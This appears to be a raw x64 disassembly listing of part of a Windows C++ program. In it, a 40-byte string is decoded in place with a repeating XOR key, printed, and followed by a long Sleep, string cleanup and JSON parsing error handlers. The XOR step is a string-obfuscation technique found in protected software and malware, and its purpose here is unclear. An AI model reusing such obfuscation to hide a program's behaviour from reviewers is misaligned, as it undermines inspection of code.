mov eax, dword [rcx + rsi]
mov edx, 0x51d8
test al, 1
jne 0x140073b7b
or eax, 1
mov dword [rcx + rsi], eax
lea rbx, [rsi + rdx]
mov byte [rbx + 0x28], 1
lea rax, [rbx + 0x27]
lea rcx, [rsp + 0x5e7]
cmp rbx, rcx
ja 0x140073b57
lea rcx, [rsp + 0x5c0]
cmp rax, rcx
jb 0x140073b57
movups xmmword [rbx], xmm0
movups xmmword [rbx + 0x10], xmm1
movsd xmm0, qword [rsp + 0x5e0]
movsd qword [rbx + 0x20], xmm0
jmp 0x140073b6c
movups xmmword [rbx], xmm0
movups xmmword [rbx + 0x10], xmm1
movsd xmm0, qword [rsp + 0x5e0]
movsd qword [rbx + 0x20], xmm0
lea rcx, [0x1400afcf0]
call fcn.140093de0
nop
jmp 0x140073b7f
lea rbx, [rsi + rdx]
cmp byte [rbx + 0x28], 0
je 0x140073c2c
xor byte [rbx], 0xd1
xor byte [rbx + 1], 0x5d
xor byte [rbx + 2], 0x75
xor byte [rbx + 3], 0x6f
xor byte [rbx + 4], 0xb5
xor byte [rbx + 5], 0x47
xor byte [rbx + 6], 0x31
xor byte [rbx + 7], 0xdb
xor byte [rbx + 8], 0xd1
xor byte [rbx + 9], 0x5d
xor byte [rbx + 0xa], 0x75
xor byte [rbx + 0xb], 0x6f
xor byte [rbx + 0xc], 0xb5
xor byte [rbx + 0xd], 0x47
xor byte [rbx + 0xe], 0x31
xor byte [rbx + 0xf], 0xdb
xor byte [rbx + 0x10], 0xd1
xor byte [rbx + 0x11], 0x5d
xor byte [rbx + 0x12], 0x75
xor byte [rbx + 0x13], 0x6f
xor byte [rbx + 0x14], 0xb5
xor byte [rbx + 0x15], 0x47
xor byte [rbx + 0x16], 0x31
xor byte [rbx + 0x17], 0xdb
xor byte [rbx + 0x18], 0xd1
xor byte [rbx + 0x19], 0x5d
xor byte [rbx + 0x1a], 0x75
xor byte [rbx + 0x1b], 0x6f
xor byte [rbx + 0x1c], 0xb5
xor byte [rbx + 0x1d], 0x47
xor byte [rbx + 0x1e], 0x31
xor byte [rbx + 0x1f], 0xdb
xor byte [rbx + 0x20], 0xd1
xor byte [rbx + 0x21], 0x5d
xor byte [rbx + 0x22], 0x75
xor byte [rbx + 0x23], 0x6f
xor byte [rbx + 0x24], 0xb5
xor byte [rbx + 0x25], 0x47
xor byte [rbx + 0x26], 0x31
xor byte [rbx + 0x27], 0xdb
mov byte [rbx + 0x28], 0
mov rdx, rbx
mov rcx, rdi
call fcn.140009130
lea rdx, [0x140009300]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x1d4c
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
movzx edx, byte [rsp + 0x4c8]
lea rcx, [rsp + 0x4d0]
call fcn.140008580
nop
mov rdx, qword [rsp + 0x3b0]
cmp rdx, 0x10
jb 0x140073caf
inc rdx
mov rcx, qword [rsp + 0x398]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140073caa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140073caa
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140093d04
mov qword [rsp + 0x3a8], r12
mov qword [rsp + 0x3b0], 0xf
mov byte [rsp + 0x398], 0
mov rdx, qword [rsp + 0x410]
cmp rdx, 0x10
jb 0x140073d12
inc rdx
mov rcx, qword [rsp + 0x3f8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140073d0c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140073d0c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140093d04
nop
mov rdx, qword [rsp + 0x600]
cmp rdx, 0x10
jb 0x140073d59
inc rdx
mov rcx, qword [rsp + 0x5e8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140073d53
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140073d53
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140093d04
nop
mov rdx, qword [rsp + 0x620]
cmp rdx, 0x10
jb 0x140073da0
inc rdx
mov rcx, qword [rsp + 0x608]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140073d9a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140073d9a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140093d04
nop
mov rbx, qword [rsp + 0xc0]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x140073de2
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x140073ddd
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140073e6b
mov rcx, r8
call fcn.140093d04
mov qword [rbx + 0x10], r12
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rbx, qword [rsp + 0x88]
mov rdx, qword [rbx]
mov rdi, qword [rsp + 0x90]
cmp rdx, 0x10
jb 0x140073e36
inc rdx
mov rcx, qword [rdi]
cmp rdx, 0x1000
jb 0x140073e31
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140073e72
mov rcx, r8
call fcn.140093d04
mov rax, qword [rsp + 0x50]
mov qword [rax], r12
mov qword [rbx], 0xf
mov byte [rdi], 0
mov rcx, qword [rsp + 0x820]
xor rcx, rsp
call fcn.140093980
add rsp, 0x830
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov rcx, rax
call fcn.140007f50
mov qword [rsp + 0x50], rax
lea r8, [rsp + 0x50]
lea rdx, str.type_must_be_string__but_is
lea rcx, [rsp + 0xc8]
call fcn.14000c9b0
nop
mov r8, rax
mov edx, 0x12e
lea rcx, [rsp + 0x290]
call fcn.140009560
lea rdx, [0x1400d6ec8]
lea rcx, [rsp + 0x290]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
mov rcx, rax
call fcn.140007f50
mov qword [rsp + 0x50], rax
lea r8, [rsp + 0x50]
lea rdx, str.type_must_be_string__but_is
lea rcx, [rsp + 0xc8]
call fcn.14000c9b0
nop
mov r8, rax
mov edx, 0x12e
lea rcx, [rsp + 0x2c8]
call fcn.140009560
lea rdx, [0x1400d6ec8]
lea rcx, [rsp + 0x2c8]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
mov rcx, rax
call fcn.140007f50
mov qword [rsp + 0x50], rax
lea r8, [rsp + 0x50]
lea rdx, str.type_must_be_string__but_is
lea rcx, [rsp + 0xc8]
call fcn.14000c9b0
nop
mov r8, rax
mov edx, 0x12e
lea rcx, [rsp + 0x300]
call fcn.140009560
lea rdx, [0x1400d6ec8]
lea rcx, [rsp + 0x300]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
call fcn.140001ea0
int3
call fcn.140001dd0
nop
mov rcx, rax
call fcn.140007f50
mov qword [rsp + 0x50], rax
lea r8, [rsp + 0x50]
lea rcx, [rsp + 0xc8]
call fcn.14000c5c0
nop
mov r8, rax
mov edx, 0x12e
lea rcx, [rsp + 0x1e8]
call fcn.140009560
lea rdx, [0x1400d6ec8]
lea rcx, [rsp + 0x1e8]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
mov rcx, rax
call fcn.140007f50
mov qword [rsp + 0x50], rax
lea r8, [rsp + 0x50]
lea rcx, [rsp + 0xc8]
call fcn.14000c5c0
nop
mov r8, rax
mov edx, 0x12e
lea rcx, [rsp + 0x140]
call fcn.140009560
lea rdx, [0x1400d6ec8]
lea rcx, [rsp + 0x140]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
mov rcx, rax
call fcn.140007f50
mov qword [rsp + 0x50], rax
lea r8, [rsp + 0x50]
lea rcx, [rsp + 0xc8]
call fcn.14000c5c0
nop
mov r8, rax
mov edx, 0x12e
lea rcx, [rsp + 0x178]
call fcn.140009560
lea rdx, [0x1400d6ec8]
lea rcx, [rsp + 0x178]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
mov rcx, rax
call fcn.140007f50
mov qword [rsp + 0x50], rax
lea r8, [rsp + 0x50]
lea rcx, [rsp + 0xc8]
call fcn.14000c5c0
nop
mov r8, rax
mov edx, 0x12e
lea rcx, [rsp + 0x1b0]
call fcn.140009560
lea rdx, [0x1400d6ec8]
lea rcx, [rsp + 0x1b0]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
mov rcx, rax
call fcn.140007f50
mov qword [rsp + 0x50], rax
lea r8, [rsp + 0x50]
lea rcx, [rsp + 0xc8]
call fcn.14000c5c0
nop
mov r8, rax
mov edx, 0x12e
lea rcx, [rsp + 0x220]
call fcn.140009560
lea rdx, [0x1400d6ec8]
lea rcx, [rsp + 0x220]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
mov rcx, rax
call fcn.140007f50
mov qword [rsp + 0x98], rax
lea r8, [rsp + 0x98]
lea rcx, [rsp + 0xc8]
call fcn.14000c5c0
nop
mov r8, rax
mov edx, 0x12e
lea rcx, [rsp + 0x258]
call fcn.140009560
lea rdx, [0x1400d6ec8]
lea rcx, [rsp + 0x258]
call sub.VCRUNTIME140.dll__CxxThrowException
int3